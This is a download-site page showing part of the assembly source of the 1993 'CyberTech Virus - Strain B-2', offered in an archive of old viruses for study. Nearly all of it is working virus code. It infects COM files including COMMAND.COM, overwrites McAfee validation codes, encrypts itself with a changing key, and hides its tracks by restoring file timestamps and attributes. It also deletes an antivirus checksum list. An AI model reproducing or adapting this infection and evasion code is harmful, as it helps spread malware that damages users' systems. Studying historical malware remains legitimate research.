⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cybtchb2.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
            Ret                                 ;

Infect:     Mov Ax,0fd1e[0]                     ; check if the file is
            Cmp Ax,'OC'                         ; COMMAN?.COM (usually result
            Jne NoCommand                       ; if COMMAND.COM)
            Mov Ax,0fd1e[2]                     ;
            Cmp Ax,'MM'                         ;
            Jne NoCommand                       ;
            Mov Ax,0fd1e[4]                     ;
            Cmp Ax,'NA'                         ;
            Jne NoCommand                       ;

            Mov Ax,4202h                        ; Jump to EOF
            Call Fseek                          ;

            Cmp Ax,0f000h                       ; Check if file too large
            Jae ExeFile

            Cmp Ax,VirS                         ; Check if file to short
            jbe ExeFile
            
            Sub     Ax,VirS  
            Xchg    Cx,Dx
            Mov     Dx,4200h
            Xchg    Dx,Ax
            Mov     EOFminVir[BP],Dx
            Int     21h
            Mov     Ah,3fh
            Mov     Dx,Offset Buffer
            Mov     Cx,VirS  
            Int     21h
            Cld
            Mov     Si,Offset Buffer
            Mov     Cx,VirLen
On5:
            Push    Cx
On6:        Lodsb
            Cmp     Al,0
            Jne     On4
            Loop    On6
On4:        Cmp     Cx,0
            Je      Found0

            Pop     Cx
            Cmp     Si,SeekLen
            Jb      On5
            Jmp     NoCommand

Found0:     Pop     Cx
            Sub     Si,Offset Buffer
            Sub     Si,Cx
            Xor     Cx,Cx
            Mov     Dx,EOFminVir[BP]
            Add     Dx,Si

            Mov     Ax,4200h
            Int     21h
            Jmp     CalcVirus

EOFminVir   Dw 0

NoCommand:  Mov Ax,4202h                        ; jump to EOF
            Call FSeek                          ;

            Cmp Ax,0f000h                       ; Check if file too large
            Jb NoExe1                           ; if yes, goto exefile
            Jmp ExeFile                         ;

NoExe1:     Cmp Ax,10                           ; Check if file too short
            Ja NoExe2                           ; if yes, goto exefile
            Jmp ExeFile                         ;


NoExe2:     Mov Cx,Dx                           ; calculate pointer to offset
            Mov Dx,Ax                           ; EOF-52 (for McAfee validation
            Sub Dx,52                           ; codes)

            Mov Si,Cx                           ; move file pointer to the
            Mov Di,Dx                           ; calculated address
            Mov Ax,4200h                        ;
            Int 21h                             ;

            Mov Ah,3fh                          ; read the last 52 bytes
            Mov Dx,0fb00h                       ; of the file
            Mov Cx,52                           ;
            Int 21h                             ;

            Cmp Ds:0Fb00h,0fdf0h                ; check if protected with the
            Jne Check2                          ; AG option
            Cmp Ds:0fb02h,0aac5h                ;
            Jne Check2                          ;

            Mov Ax,4200h                        ; yes - let virus overwrite
            Mov Cx,Si                           ; the code with itself, so
            Mov Dx,Di                           ; the file has no validation
            Int 21h                             ; code
            Jmp CalcVirus                       ;

Check2:     Cmp Ds:0Fb00h+42,0fdf0h             ; check if protected with the
            Jne Eof                             ; AV option
            Cmp Ds:0Fb02h+42,0aac5h             ;
            Jne Eof                             ;

            Mov Ax,4200h                        ; yes - let virus overwrite
            Mov Cx,Si                           ; the code with itself, so
            Mov Dx,Di                           ; the file has no validation
            Add Dx,42                           ; code
            Int 21h                             ;
            Jmp CalcVirus                       ;

Eof:        Mov Ax,4202h                        ; not AG or AV - jump to
            Call Fseek                          ; EOF

CalcVirus:  Sub Ax,3                            ; calculate the jump for the
            Mov Cs:CallPtr[BP]+1,Ax             ; virus start

GetCrypt:   Mov Ah,2ch                          ; get 100s seconds for the
            Int 21h                             ; encryption value.
            Cmp Dl,0                            ; if not zero, goto NoZero
            Jne NoZero                          ;

            Mov Ah,9                            ; If zero, display copyright
            Lea Dx,Msg[Bp]                      ; message and generate again
            Int 21h                             ; a number
            Jmp GetCrypt                        ;

NoZero:     Mov Cs:Decrypt+2[BP],Dl             ; Store key into decryptor

            Lea Si,MainVir[BP]                  ; Move changed decryptor to
            Mov Di,0fb00h                       ; a safe place in memory
            Mov Cx,DecrLen                      ;
            Rep Movsb                           ;

            Lea Si,Crypt[BP]                    ; Encrypt the virus and merge
            Mov Cx,CryptLen                     ; it to the changed decryptor
Encrypt:    Lodsb                               ; code
            Xor Al,Dl                           ;
            Stosb                               ;
            Loop Encrypt                        ;

            Mov Ah,40h                          ; append virus at EOF or over
            Lea Dx,0fb00h                       ; the validation code of
            Mov Cx,VirLen                       ; McAfee
            Int 21h                             ;

            Mov Ax,4200h                        ; Jump to BOF
            Call FSeek                          ;

            Mov Ah,40h                          ; Write Jump at BOF
            Lea Dx,CallPtr[BP]                  ;
            Mov Cx,4                            ;
            Int 21h                             ;

            Call Close                          ; Jump to Close routine

Ready:      Mov Ah,1ah                          ; Restore DTA to normal
            Mov Dx,80h                          ; offset
            Int 21h                             ;

            Mov Ax,Cs:OldInt24[Bp]              ; remove critical error
            Mov Dx,Cs:OldInt24+2[Bp]            ; handler and store the
            Xor Bx,Bx                           ; original handler at the
            Push Bx                             ; interrupt table
            Pop Ds                              ;
            Mov Ds:[4*24h],Dx                   ;
            Mov Ds:[4*24h]+2,Ax                 ;
            Push Cs                             ;
            Pop Ds                              ;

            Pop Ax                              ; restore possible error code

            Mov Bx,100h                         ; nice way to jump to the
            Push Cs                             ; begin of the original host
            Push Bx                             ; code
            Retf                                ;

Close:      Pop Si                              ; why???

            Pop Dx                              ; restore file date/time
            Pop Cx                              ; stamp
            Mov Ax,5701h                        ;
            Int 21h                             ;

            Mov Ah,3eh                          ; close file
            Int 21h                             ;

            Mov Ax,4301h                        ; restore file attributes
            Pop Cx                              ;
            Mov Dx,0fd1eh                       ;
            Int 21h                             ;

            Mov Ah,41h                          ; delete CHKLIST.CPS (the
            Lea Dx,CpsName[BP]                  ; Central Point CRC list)
            Int 21h                             ;

            Push Si                             ; why???
            Ret

;
; Message when we are in 1994
;

;Removed     Db 13,10,'Virus removed : ',13,10

Removed     Db 13,10,'Previous year you was infected by me, but now I am'
            Db 13,10,'gone. Message to McAfee : do not group viruses, it is'
            Db 13,10,'confusing, better use CARO standards for every virus.'
            Db 13,10,'Also improve your scanner, so that I cannot simply switch'
            Db 13,10,'2 lines of code in my decryptor and it is hidden again.'
            Db 13,10,'Can virus scan strains be copyrighted, so that every'
            Db 13,10,'scanner needs a seperate strain?',13,10

;
; Message when encryption byte = 0 or when we are living in 1994
;

Msg         Db 13,10,'CyberTech Virus - Strain B-2'
            Db 13,10,'(C) 1993 John Tardy of Trident'
            Db 13,10,'$'

;
; New critical error handler
;

NewInt24:   Mov Al,3                            ; supress any critical error
            Iret                                ; messages

CpsName     Db 'chklist.cps',0                  ; name for CP CRC-list

OldInt24    Dd 0                                ; storage place for old int 24

CallPtr     Db 0e9h,0,0                         ; jump to place at BOF

FileSpec    Db '*.COM',0                        ; filespec and infection marker

OrgPrg:     Int 20h                             ; original program
            Db 'JT'                             ;

CryptLen    Equ $-Crypt                         ; encrypted part length

VirLen      Equ $-MainVir                       ; total virus length

Buffer      Equ 0f040h                          ; buffer offset
VirS        Equ VirLen*2

SeekLen     Equ Buffer+Virs

;  哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -